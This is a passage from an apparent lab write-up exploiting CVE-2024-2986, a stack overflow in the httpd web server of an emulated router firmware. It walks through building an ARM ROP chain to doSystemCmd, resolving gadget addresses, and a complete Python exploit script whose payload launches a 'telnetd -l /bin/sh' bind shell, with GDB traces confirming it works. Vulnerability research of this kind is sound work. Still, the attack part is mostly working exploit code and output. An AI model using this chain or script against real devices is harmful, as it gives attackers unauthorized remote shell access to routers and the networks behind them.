These instructions are not call sites to system() itself. They are internal calls inside the system() implementation.
system()
├── internal helper call
├── internal helper call
└── internal helper callIn many embedded uClibc builds, system() is not called elsewhere inside libc. That means libc may never contain a useful external BL system call site.
But httpd imports more than system:

For exploitation, doSystemCmd serves the same purpose.
readelf helps map out the runtime execution surface:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -d $LAB/bin/httpd Dynamic section at offset 0xef270 contains 36 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libCfm.so] 0x00000001 (NEEDED) Shared library: [libcommon.so] 0x00000001 (NEEDED) Shared library: [libChipApi.so] 0x00000001 (NEEDED) Shared library: [libvos_util.so] 0x00000001 (NEEDED) Shared library: [libz.so] 0x00000001 (NEEDED) Shared library: [libpthread.so.0] 0x00000001 (NEEDED) Shared library: [libnvram.so] 0x00000001 (NEEDED) Shared library: [libshared.so] 0x00000001 (NEEDED) Shared library: [libtpi.so] 0x00000001 (NEEDED) Shared library: [libm.so.0] 0x00000001 (NEEDED) Shared library: [libucapi.so] 0x00000001 (NEEDED) Shared library: [libgcc_s.so.1] 0x00000001 (NEEDED) Shared library: [libc.so.0]
This gives the runtime library set reachable from httpd. From there, the next step was to enumerate candidates that contain a useful BL system or BL doSystemCmd.
libcommon.so contains a promising sink:
arm-linux-gnueabi-objdump -d $/LAB/lib/libcommon.so | grep doSystemCmdaxura@ubuntu-22-04-5:~/labs/cve-2024-2986$ arm-linux-gnueabi-objdump -d $LAB/lib/libcommon.so | grep doSystemCmd 00002f78 <doSystemCmd@plt>: 000040f0 <doSystemCmd@@Base>: 4104: e59f40cc ldr r4, [pc, #204] ; 41d8 <doSystemCmd@@Base+0xe8> 4174: e59f3060 ldr r3, [pc, #96] ; 41dc <doSystemCmd@@Base+0xec> 4198: 0a000003 beq 41ac <doSystemCmd@@Base+0xbc> 4da0: ebfff874 bl 2f78 <doSystemCmd@plt> 7400: ebffeedc bl 2f78 <doSystemCmd@plt> 7768: ebffee02 bl 2f78 <doSystemCmd@plt> 7860: ebffedc4 bl 2f78 <doSystemCmd@plt> 7958: ebffed86 bl 2f78 <doSystemCmd@plt> 7ba0: ebffecf4 bl 2f78 <doSystemCmd@plt> 9a20: ebffe554 bl 2f78 <doSystemCmd@plt> 9a50: ebffe548 bl 2f78 <doSystemCmd@plt> 9d98: ebffe476 bl 2f78 <doSystemCmd@plt> 9dcc: ebffe469 bl 2f78 <doSystemCmd@plt> 9de8: ebffe462 bl 2f78 <doSystemCmd@plt> 9e0c: ebffe459 bl 2f78 <doSystemCmd@plt> 9e1c: ebffe455 bl 2f78 <doSystemCmd@plt> bf98: ebffdbf6 bl 2f78 <doSystemCmd@plt> c0d4: ebffdba7 bl 2f78 <doSystemCmd@plt> c104: ebffdb9b bl 2f78 <doSystemCmd@plt> c13c: ebffdb8d bl 2f78 <doSystemCmd@plt> ddec: ebffd461 bl 2f78 <doSystemCmd@plt> de14: ebffd457 bl 2f78 <doSystemCmd@plt> e398: ebffd2f6 bl 2f78 <doSystemCmd@plt> e3c0: ebffd2ec bl 2f78 <doSystemCmd@plt> 13ec8: ebffbc2a bl 2f78 <doSystemCmd@plt>
Each one is a candidate call gadget.
A
BL doSystemCmdsite usually comes with setup code forR0, because it still has to pass the command string as the first argument.
In IDA, the site at offset 0x9a50 has a particularly clean pipeline:
.text:00009A4C MOV R0, R3
.text:00009A50 BL j_doSystemCmd
.text:00009A54 POP {R3,R4,R11,PC}5.2.2 Argument Control (R0)
That reduces the gadget requirement to:
R3 = pointer to command string
PC = 0x9a4cThe remaining job is to control R3, which then flows directly into R0.
Find pop gadgets to control register values since we've owned a stack-overflow primitive:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ ROPgadget --binary $LAB/lib/libcommon.so --only pop Gadgets information ============================================================ 0x00003e58 : pop {fp, pc} 0x00015be4 : pop {r1, pc} 0x00009a54 : pop {r3, r4, fp, pc} 0x00015c20 : pop {r3, r4, r5, r6, r7, pc} 0x00003454 : pop {r4, fp, pc} 0x00003350 : pop {r4, pc} 0x00004570 : pop {r4, r5, fp, pc} 0x00006cf8 : pop {r4, r5, r6, fp, pc} 0x000160c0 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc} 0x0000ab98 : pop {r4, r5, r6, r7, r8, sl, fp, pc} Unique gadgets found: 10
The one that controls both R3 and PC:
0x00015c20 : pop {r3, r4, r5, r6, r7, pc}5.2.3 Return Flow Control (LR)
After doSystemCmd finishes, control returns to the next instruction:
9A54 POP, {R3,R4,R11,PC}That instruction restores registers from the stack and then loads the next PC from memory.
To avoid an immediate crash after the command runs, the final PC can be set to _exit inside libc.so.0.
So the execution chain starts with the argument-control gadget:
POP {R3,R4,R5,R6,R7,PC}
│ │
│ └─ PC = 0x9A4C (system gadget)
│
└─ R3 = <command_string_to_execute>Then:
9A4C MOV R0, R3
9A50 BL doSystemCmd
9A54 POP {R3,R4,R11,PC}
│
└── PC = libc:_exitThis gives:
doSystemCmd("<command_string>")
↓
_exit()5.3 Command String
At that point, the only missing piece was the command string passed into doSystemCmd.
5.3.1 Interactive Shell
After reaching command execution through doSystemCmd, the next objective was to turn it into an interactive shell by controlling the command string that R3 points to.
A straightforward idea is to run:
doSystemCmd("/bin/sh");
// equivalent to
system("/bin/sh");However, this does not produce a usable shell.
That results in:
httpd
└── /bin/shBut /bin/sh inherits the file descriptors of httpd:
stdin -> httpd internal FD
stdout -> httpd internal FD
stderr -> httpd internal FDSo the shell is not attached to a network socket. The process exists, but it is not reachable in a useful way.
5.3.2 Bind Shell (telnetd)
So instead of spawning /bin/sh directly, the better option was to start a network service that spawns shells for incoming connections:
telnetd -l /bin/shThe
-loption instructstelnetdto execute/bin/shfor each client connection. In effect, this creates a bind shell: the daemon listens on the Telnet port and spawns a shell attached to the connected socket.
So the command string becomes:
"telnetd -l /bin/sh"That produces the following process tree:
httpd
└── telnetd -l /bin/sh
└── /bin/sh (per connection)The shell can then be reached remotely:
telnet <target-ip>5.3.3 PTY Requirement
telnetd requires pseudo terminals to create interactive sessions.
If the PTY filesystem is not mounted, the daemon fails with:
telnetd: can't find free ptyIn the emulated environment, this was fixed with:
sudo mount -o bind /dev $LAB/dev/
sudo mount -t devpts devpts $LAB/dev/pts5.3.4 Remote Shell Access
After running the PoC, confirm that the daemon started:
ps -aux | grep telnetdExample output:
/usr/sbin/telnetd telnetd -l /bin/shThen connect to the bind shell:
telnet 192.168.200.5Successful exploitation will then yield an interactive BusyBox shell.
6 PoC
6.1 Stack Overflow Strategy
The final exploit layout is:
Stack after overflow
--------------------------------
| padding |
| padding |
| padding |
|-------------------------------
| 0x15c20 | ← overwritten return address
|------------------------------- with ROP gadget (pop {r3 ... pc})
| r3 = ptr("command_string") |
| r4 = junk |
| r5 = junk |
| r6 = junk |
| r7 = junk |
|-------------------------------
| pc = 0x9A4C | → system (doSystemCmd) gadget from libcommon.so
|-------------------------------
| r3 = junk |
| r4 = junk |
| r11 = junk |
|-------------------------------
| pc = libc:_exit |
--------------------------------6.2 Address Leakage
The exploit uses gadgets and functions from:
libcommon.solibc.so.0
As shared libraries, their base addresses are assigned at runtime when httpd starts. With ASLR disabled (randomize_va_space=0), libcommon.so and libc.so.0 are consistently loaded at fixed addresses, allowing the exploit to recover base addresses from a live process and reliably compute gadget offsets from the firmware.
This configuration is common in embedded IoT firmware, where memory randomization is often disabled or only partially implemented due to performance and legacy constraints.
In this lab, GDB runs inside a layered virtual setup:
x86 Linux host
│
├─ gdb-multiarch
│
└─ qemu-arm
│
└─ httpd (ARM)
│
├─ libcommon.so
├─ libc.so.0
├─ libpthread.so
└─ ...So the GDB helper vmmap is not reliable to recover the actual library bases.
Yet first we could inspect the loaded shared libraries with info sharedlibrary:
pwndbg> info sharedlibrary From To Syms Read Shared Object Library 0x3fff2930 0x3fff5e90 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/ld-uClibc.so.0 0x3fb67750 0x3fb6857c Yes (*) /home/axura/labs/cve-2024-2986/rootfs/hook_nvram.so 0x3fb361e8 0x3fb41074 Yes /home/axura/labs/cve-2024-2986/rootfs/lib/libCfm.so 0x3fb052f0 0x3fb184c0 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libcommon.so 0x3faf2428 0x3faf74a8 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libChipApi.so 0x3fae5c40 0x3fae6e68 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libvos_util.so 0x3fac8548 0x3fad922c Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libz.so 0x3fab01e8 0x3fab651c Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libpthread.so.0 0x3faa25dc 0x3faa2928 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libnvram.so 0x3fa8df9c 0x3fa95ad8 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libshared.so 0x3f9f2acc 0x3fa3a2cc Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libtpi.so 0x3f9d231c 0x3f9decf8 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libm.so.0 0x3f99f5f8 0x3f9c169c Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libucapi.so 0x3f98a7b0 0x3f99154c Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libgcc_s.so.1 0x3f927990 0x3f96e904 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/libc.so.0 0x3f908620 0x3f908a94 Yes (*) /home/axura/labs/cve-2024-2986/rootfs/lib/librt.so.0 (*): Shared library is missing debugging information.
These are not the actual library bases, because ELF segments are page-aligned.
The address reported by info sharedlibrary corresponds to the beginning of .text, not the ELF load base. This can be confirmed with info files:
pwndbg> info files [...snip...] 0x3fb052f0 - 0x3fb184c0 is .text in /home/axura/labs/cve-2024-2986/rootfs/lib/libcommon.so 0x3f927990 - 0x3f96e904 is .text in /home/axura/labs/cve-2024-2986/rootfs/lib/libc.so.0 [...snip...]
Then use readelf to recover the section offsets:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -S $LAB/lib/libc.so.0 | grep .text [ 7] .text PROGBITS 00014990 014990 046f74 00 AX 0 0 16 axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -S $LAB/lib/libcommon.so | grep .text [10] .text PROGBITS 000032f0 0032f0 0131d0 00 AX 0 0 4
So the libc.so.0 base:
libc_base = 0x3f927990 - 0x0014990
= 0x3f913000And the libcommon.so base:
libcommon_base = 0x3fb052f0 - 0x32f0
= 0x3fb02000For the R3-control gadget in libcommon.so:
0x00015c20 : pop {r3, r4, r5, r6, r7, pc}The runtime address becomes:
p6_r3_pc = libcommon_base + offset
= 0x3fb02000 + 0x15c20
= 0x3fb17c20For the call gadget that invokes doSystemCmd in libcommon.so:
doSystemCmd = libcommon_base + offset
= 0x3fb02000 + 0x9a4c
= 0x3fb0ba4cFor the _exit target in libc.so.0:
pwndbg> x/i 0x3fb17c20 0x3fb17c20: pop {r3, r4, r5, r6, r7, pc} pwndbg> tel 0x3fb0ba4c 00:0000│ 0x3fb0ba4c (flush_dns_cache+104) ◂— 0x3fb0ba4c 01:0004│ 0x3fb0ba50 (flush_dns_cache+108) ◂— 0x3fb0ba50 02:0008│ 0x3fb0ba54 (flush_dns_cache+112) ◂— 0x3fb0ba54 03:000c│ 0x3fb0ba58 (flush_dns_cache+116) —▸ 0x1db18 ◂— 0x1db18 04:0010│ 0x3fb0ba5c (flush_dns_cache+120) ◂— 0x3fb0ba5c 05:0014│ 0x3fb0ba60 (flush_dns_cache+124) ◂— 0x3fb0ba60 06:0018│ 0x3fb0ba64 (flush_dns_cache+128) ◂— 0x3fb0ba64 07:001c│ 0x3fb0ba68 (flush_dns_cache+132) ◂— 0x3fb0ba68 pwndbg> tel 0x3f928904 1 00:0000│ 0x3f928904 (_exit) ◂— 0xe1a04000 pwndbg> x/3i 0x3fb0ba4c 0x3fb0ba4c <flush_dns_cache+104>: mov r0, r3 0x3fb0ba50 <flush_dns_cache+108>: bl 0x3fb04f78 <doSystemCmd@plt> 0x3fb0ba54 <flush_dns_cache+112>: pop {r3, r4, r11, pc} pwndbg> tel 0x3f928904 1 00:0000│ 0x3f928904 (_exit) ◂— 0xe1a04000
So:
_exit offset = libc_base + offset
= 0x3f913000 + 0x15904
= 0x3f928904Those calculated addresses can then be checked directly in GDB:
pwndbg> x/i 0x3fb17c20 0x3fb17c20: pop {r3, r4, r5, r6, r7, pc} pwndbg> tel 0x3fb0ba4c 00:0000│ 0x3fb0ba4c (flush_dns_cache+104) ◂— 0x3fb0ba4c 01:0004│ 0x3fb0ba50 (flush_dns_cache+108) ◂— 0x3fb0ba50 02:0008│ 0x3fb0ba54 (flush_dns_cache+112) ◂— 0x3fb0ba54 03:000c│ 0x3fb0ba58 (flush_dns_cache+116) —▸ 0x1db18 ◂— 0x1db18 04:0010│ 0x3fb0ba5c (flush_dns_cache+120) ◂— 0x3fb0ba5c 05:0014│ 0x3fb0ba60 (flush_dns_cache+124) ◂— 0x3fb0ba60 06:0018│ 0x3fb0ba64 (flush_dns_cache+128) ◂— 0x3fb0ba64 07:001c│ 0x3fb0ba68 (flush_dns_cache+132) ◂— 0x3fb0ba68 pwndbg> x/3i 0x3fb0ba4c 0x3fb0ba4c <flush_dns_cache+104>: mov r0, r3 0x3fb0ba50 <flush_dns_cache+108>: bl 0x3fb04f78 <doSystemCmd@plt> 0x3fb0ba54 <flush_dns_cache+112>: pop {r3, r4, r11, pc} pwndbg> tel 0x3f928904 1 00:0000│ 0x3f928904 (_exit) ◂— 0xe1a04000
Every address was perfectly matched.
6.3 Exploit
6.3.1 Startup
Before sending the exploit, we can conclude the full lab bootstrap (introduced in section 3) and wrap them into one startup script:
#!/usr/bin/env bash
#
# run_lab.sh — CVE-2024-2986 firmware harness
#
# Usage:
# LAB=/path/to/rootfs ./run_lab.sh
# LAB=/path/to/rootfs ./run_lab.sh gdb
#
set -Eeuo pipefail
########################################
# Config
########################################
LAB="${LAB:?Set LAB=/path/to/rootfs}"
MODE="${1:-run}"
BRIDGE="br0"
BRIDGE_IP="192.168.200.5/24"
QEMU="/usr/bin/qemu-arm-static"
HTTPD="/bin/httpd"
GDB_PORT=1234
HOOK="/hook_nvram.so"
UDS="$LAB/uds_server.py"
SOCK="$LAB/var/cfm_socket"
PID_FILE="/tmp/qemu_httpd.pid"
########################################
# Helpers
########################################
log() { echo "[*] $*"; }
########################################
# HARD CLEAN (always safe)
########################################
hard_kill() {
log "Force killing leftovers"
sudo pkill -f qemu-arm-static 2>/dev/null || true
sudo pkill -f httpd 2>/dev/null || true
sudo pkill -f uds_server.py 2>/dev/null || true
if [[ -f "$PID_FILE" ]]; then
sudo kill -9 "$(cat $PID_FILE)" 2>/dev/null || true
sudo rm -f "$PID_FILE" 2>/dev/null || true
fi
sudo ip link set "$BRIDGE" down 2>/dev/null || true
sudo ip link del "$BRIDGE" 2>/dev/null || true
}
########################################
# CLEANUP (Ctrl+C)
########################################
cleanup() {
echo
log "Stopping lab"
# kill tracked qemu
if [[ -f "$PID_FILE" ]]; then
QPID=$(cat "$PID_FILE")
log "Killing qemu PID $QPID"
sudo kill -TERM "$QPID" 2>/dev/null || true
sleep 0.5
sudo kill -KILL "$QPID" 2>/dev/null || true
sudo rm -f "$PID_FILE" 2>/dev/null || true
fi
# fallback cleanup
sudo pkill -f uds_server.py 2>/dev/null || true
sudo pkill -f "$LAB.*httpd" 2>/dev/null || true
stty sane 2>/dev/null || true
log "Bridge kept alive at ${BRIDGE_IP} on ${BRIDGE}"
log "Done"
}
trap cleanup INT TERM EXIT
########################################
# PREP
########################################
hard_kill
log "Setting up bridge"
sudo ip link add "$BRIDGE" type bridge
sudo ip addr add "$BRIDGE_IP" dev "$BRIDGE"
sudo ip link set "$BRIDGE" up
########################################
# RUN
########################################
log "Starting lab ($MODE)"
sudo -E unshare -m --propagation private bash -c "
set -Eeuo pipefail
########################################
# rcS runtime
########################################
chroot \"$LAB\" $QEMU /bin/sh -c '
mount -t ramfs none /var/
mkdir -p /var/etc /var/media /var/webroot /var/etc/iproute /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a
mount -t ramfs none /dev
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
'
########################################
# PTY fix
########################################
mount -o bind /dev \"$LAB/dev\"
mount -t devpts devpts \"$LAB/dev/pts\"
########################################
# START HTTPD FIRST (critical)
########################################
if [[ \"$MODE\" == \"gdb\" ]]; then
chroot \"$LAB\" $QEMU -g $GDB_PORT -E LD_PRELOAD=$HOOK $HTTPD &
else
chroot \"$LAB\" $QEMU -E LD_PRELOAD=$HOOK $HTTPD &
fi
HTTPD_PID=\$!
echo \$HTTPD_PID > $PID_FILE
sleep 0.5
if ! kill -0 \$HTTPD_PID 2>/dev/null; then
echo \"[ns] httpd failed\"
exit 1
fi
########################################
# START UDS AFTER
########################################
python3 \"$UDS\" --socket-path \"$SOCK\" --sock-type stream &
########################################
# GDB INFO
########################################
if [[ \"$MODE\" == \"gdb\" ]]; then
echo
echo \"[*] Attach:\"
echo \"gdb-multiarch -ex 'set arch arm' -ex 'target remote :$GDB_PORT'\"
echo
fi
wait \$HTTPD_PID
"
log "Lab exited"Normal run:
./run_lab.shDebug mode:
./run_lab.sh gdbInterrupt:
CTRL + C6.3.2 EXP
In this emulated AC15 run, /goform/SetSpeedWan became reachable after the first redirect set a password=... cookie. So the script keeps a session and bootstraps that cookie before sending the overflow.
Final exploit script:
import requests
from urllib.parse import quote_from_bytes
from pwn import flat
BASE_URL = "http://192.168.200.5"
TARGET = f"{BASE_URL}/goform/SetSpeedWan"
# Configure runtime addresses
LIBCOMMON_BASE = 0x3FB02000
LIBC_BASE = 0x3F913000
POP_R3_R4_R5_R6_R7_PC_OFF = 0x15C20
SYSTEM_GADGET_OFF = 0x09A4C
LIBC_EXIT_OFF = 0x15904
# Gadgets
POP_R3_R4_R5_R6_R7_PC = LIBCOMMON_BASE + POP_R3_R4_R5_R6_R7_PC_OFF
SYSTEM_GADGET = LIBCOMMON_BASE + SYSTEM_GADGET_OFF
LIBC_EXIT = LIBC_BASE + LIBC_EXIT_OFF
# sprintf consumes one continuous non-NUL %s string from speed_dir, so fill
# the payload with junk bytes to overflow the buffer
#
# CMD_PTR must point to the 't' in "telnetd", not to the beginning of the
# whole JSON response, which has 25-byte prefix
# "{\"errCode\":0,\"speed_dir\":telnetd -l /bin/sh;aaaaa...}"
#
# In the current GDB run, the formatted buffer s for sprintf is observed as
# 0x407fed58 - change according to runtime result
S_PTR = 0x407fed58
JSON_PREFIX_LEN = 25
CMD_PTR = S_PTR + JSON_PREFIX_LEN
CMD = b"telnetd -l /bin/sh;"
def assert_httpd_alive(session: requests.Session) -> None:
response = session.get(f"{BASE_URL}/", allow_redirects=False, timeout=3)
print("[*] preflight status:", response.status_code)
def bootstrap_cookie(session: requests.Session) -> None:
response = session.get(TARGET, allow_redirects=False, timeout=5)
print("[*] bootstrap status:", response.status_code)
print("[*] password cookie:", session.cookies.get("password"))
def build_payload() -> bytes:
return flat(
{
0x00: CMD,
35: [
POP_R3_R4_R5_R6_R7_PC,
CMD_PTR,
0x41414141,
0x42424242,
0x43434343,
0x44444444,
SYSTEM_GADGET,
0x45454545,
0x46464646,
0x47474747,
LIBC_EXIT,
],
},
filler=b"a",
word_size=32,
)
def exploit(session: requests.Session, payload: bytes) -> None:
exploit_url = f"{TARGET}?speed_dir={quote_from_bytes(payload)}"
try:
response = session.get(exploit_url, allow_redirects=False)
print("[*] exploit status:", response.status_code)
print("[*] response body:", response.text[:200])
except requests.exceptions.RequestException as e:
print(f"[-] request ended with exception: {e}")
finally:
print("[*] verify telnetd / port 23 next")
if __name__ == "__main__":
s = requests.Session()
assert_httpd_alive(s)
bootstrap_cookie(s)
pl = build_payload()
print(f"[*] payload: {pl}")
exploit(s, pl)The script is organized around the stack layout derived earlier:
- offset
0x00: command string to feedspeed_dircontent - offset
35: saved return overwrite - following words:
pop {r3, r4, r5, r6, r7, pc}chain
The full speed_dir payload has to do two jobs at once:
- carry a usable command substring
- remain long enough for
sprintfto reach the saved return path
Fields in the payload:
CMD- the command intended for
doSystemCmd - the command prefix placed at the beginning of the request payload to survive inside the formatted JSON buffer
- the command intended for
CMD_PTR- pointer to the command substring inside the formatted JSON buffer on the stack
POP_R3_R4_R5_R6_R7_PC- first-stage gadget that loads R3 and pivots into the next PC
SYSTEM_GADGET- Copies R3 value to R0
- feeds the command string to
doSystemCmd(R0) - and pivots into the next PC we control
LIBC_EXIT- post-command tail used to terminate the hijacked path cleanly
6.3.3 Debug
Start the lab in GDB mode with run_lab.sh:
./run_lab.sh gdbSet a breakpoint on 0x3fb0ba50 (BL doSystemCmd@plt). The following pwn.gdb script was used at the lab root:
handle SIGALRM nostop noprint pass
set sysroot /home/axura/labs/cve-2024-2986/rootfs
target remote 127.0.0.1:1234
b *0x00061998
b *0x3fb0ba50
cAttach GDB to httpd:
gdb-multiarch -q "$LAB/bin/httpd" -x "$LAB/pwn.gdb"Then run the exploit script:
python3 xpl.pyWhen formSetSpeedWan reaches the vulnerable call site, sprintf writes into its first argument s:
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── b► 0x61998 <formSetSpeedWan+748> bl sprintf@plt <sprintf@plt> s: 0x407fed58 ◂— 0x407fed58 format: 0xe2edc ◂— 0xe2edc vararg: 0 0x6199c <formSetSpeedWan+752> sub r3, r11, #0x3c 0x619a0 <formSetSpeedWan+756> ldr r0, [r11, #-0x60] 0x619a4 <formSetSpeedWan+760> mov r1, r3 0x619a8 <formSetSpeedWan+764> bl 0x9ccbc <0x9ccbc> 0x619ac <formSetSpeedWan+768> sub sp, r11, #8 0x619b0 <formSetSpeedWan+772> pop {r4, r11, pc} <formSetSpeedWan+780> ↓ ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x407fed28 ◂— 0x407fed28 01:0004│ 0x407fed2c —▸ 0x1235d0 ◂— 0x1235d0 02:0008│ 0x407fed30 —▸ 0x407fedb0 ◂— 0x407fedb0 03:000c│ 0x407fed34 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88 04:0010│ 0x407fed38 ◂— 0x407fed38 05:0014│ 0x407fed3c ◂— 0x407fed3c 06:0018│ 0x407fed40 ◂— 0x407fed40 07:001c│ 0x407fed44 ◂— 0x407fed44 ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x61998 formSetSpeedWan+748 1 0x171c8 websFormHandler+336 2 0x18074 None ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> set $s=0x407fed58 pwndbg> x/s $s 0x407fed58: ""
After sprintf, confirm that the payload has been written into the buffer:
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── b+ 0x61998 <formSetSpeedWan+748> bl sprintf@plt <sprintf@plt> ► 0x6199c <formSetSpeedWan+752> sub r3, r11, #0x3c R3 => 0x407fed58 (0x407fed94 - 0x3c) 0x619a0 <formSetSpeedWan+756> ldr r0, [r11, #-0x60] R0, [0x407fed34] 0x619a4 <formSetSpeedWan+760> mov r1, r3 R1 => 0x407fed58 0x619a8 <formSetSpeedWan+764> bl 0x9ccbc <0x9ccbc> 0x619ac <formSetSpeedWan+768> sub sp, r11, #8 0x619b0 <formSetSpeedWan+772> pop {r4, r11, pc} <formSetSpeedWan+780> ↓ ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x407fed28 ◂— 0x407fed28 01:0004│ 0x407fed2c —▸ 0x1235d0 ◂— 0x1235d0 02:0008│ 0x407fed30 —▸ 0x407fedb0 ◂— 0x407fedb0 03:000c│ 0x407fed34 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88 04:0010│ 0x407fed38 ◂— 0x407fed38 05:0014│ 0x407fed3c ◂— 0x407fed3c 06:0018│ 0x407fed40 ◂— 0x407fed40 07:001c│ 0x407fed44 ◂— 0x407fed44 ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x6199c formSetSpeedWan+752 1 0x3fb17c20 None 2 0x3fb0ba4c flush_dns_cache+104 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/s $s 0x407fed58: "{\"errCode\":0,\"speed_dir\":telnetd -l /bin/sh;", 'a' <repeats 16 times>, " |\261?q\355\177@AAAABBBBCCCCDDDDL\272\260?EEEEFFFFGGGG\004\211\222?}"
The acutal command starts after the JSON prefix:
{"errCode":0,"speed_dir":That prefix is 25 bytes, so our input string starts at:
0x407fed58 + 25 = 0x407fed71… and pad with trailing junk bytes (non-null to keep sprintf reading) to connect our ROP payload.
When program hits the BL doSystemCmd breakpoint, we can see the R0 (R3) register is populated with that command string pointer (CMD_PTR in exploit script):
─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]───────────────────────────────────────────────────────────────── *R0 0x407fed71 ◂— 0x407fed71 *R1 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 *R2 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 *R3 0x407fed71 ◂— 0x407fed71 *R4 0x41414141 ('AAAA') *R5 0x42424242 ('BBBB') *R6 0x43434343 ('CCCC') *R7 0x44444444 ('DDDD') R8 0xec24 (_init) ◂— 0xec24 R9 0x2e420 ◂— 0x2e420 R10 0x407ff928 ◂— 0x407ff928 *R11 0x61616161 ('aaaa') *R12 0x3fabeedc ([email protected]) —▸ 0x3fab4a50 (__pthread_unlock) ◂— 0x3fab4a50 *SP 0x407fedb0 ◂— 0x407fedb0 LR 0x10914 ◂— 0x10914 *PC 0x3fb0ba50 (flush_dns_cache+108) ◂— 0x3fb0ba50 *CPSR 0x20000010 [ n z C v q j t e a i f ] ─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── b► 0x3fb0ba50 <flush_dns_cache+108> bl doSystemCmd@plt <doSystemCmd@plt> r0: 0x407fed71 ◂— 0x407fed71 r1: 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 r2: 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 r3: 0x407fed71 ◂— 0x407fed71 0x3fb0ba54 <flush_dns_cache+112> pop {r3, r4, r11, pc} <flush_dns_cache+120> ↓ ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x407fedb0 ◂— 0x407fedb0 01:0004│ 0x407fedb4 ◂— 0x407fedb4 02:0008│ 0x407fedb8 ◂— 0x407fedb8 03:000c│ 0x407fedbc —▸ 0x3f928904 (_exit) ◂— 0x3f928904 04:0010│ 0x407fedc0 ◂— 0x407fedc0 05:0014│ 0x407fedc4 ◂— 0x407fedc4 06:0018│ 0x407fedc8 ◂— 0x407fedc8 07:001c│ 0x407fedcc ◂— 0x407fedcc ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x3fb0ba50 flush_dns_cache+108 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/s $r0 0x407fed71: "telnetd -l /bin/sh;", 'a' <repeats 16 times>, " |\261?q\355\177@AAAABBBBCCCCDDDDL\272\260?EEEEFFFFGGGG\004\211\222?}" pwndbg> x/s $r3 0x407fed71: "telnetd -l /bin/sh;", 'a' <repeats 16 times>, " |\261?q\355\177@AAAABBBBCCCCDDDDL\272\260?EEEEFFFFGGGG\004\211\222?}" pwndbg> p/x $r0 $3 = 0x407fed71
Step into the doSystemCmd call, it reconstructs the command string into another local stack buffer via vsnprintf, copying the string data from its 1st argument R0 which is controlled by us:
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── 0x3fb06158 <doSystemCmd+104> sub r2, r2, #0xc 0x3fb0615c <doSystemCmd+108> mov r0, r2 0x3fb06160 <doSystemCmd+112> mov r1, #0x800 R1 => 0x800 0x3fb06164 <doSystemCmd+116> mov r2, r3 0x3fb06168 <doSystemCmd+120> ldr r3, [r11, #-0x14] ► 0x3fb0616c <doSystemCmd+124> bl vsnprintf@plt <vsnprintf@plt> s: 0x407fe530 ◂— 0x407fe530 maxlen: 0x800 format: 0x407fed71 ◂— 0x407fed71 arg: 0x407feda4 —▸ 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 0x3fb06170 <doSystemCmd+128> str r0, [r11, #-0x10] 0x3fb06174 <doSystemCmd+132> ldr r3, [pc, #0x60] R3, [doSystemCmd+236] 0x3fb06178 <doSystemCmd+136> add r3, r4, r3 0x3fb0617c <doSystemCmd+140> mov r2, r3 0x3fb06180 <doSystemCmd+144> sub r3, r11, #0x6c ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ r0 sp 0x407fe530 ◂— 0x407fe530 01:0004│ 0x407fe534 ◂— 0x407fe534 02:0008│ 0x407fe538 ◂— 0x407fe538 03:000c│ 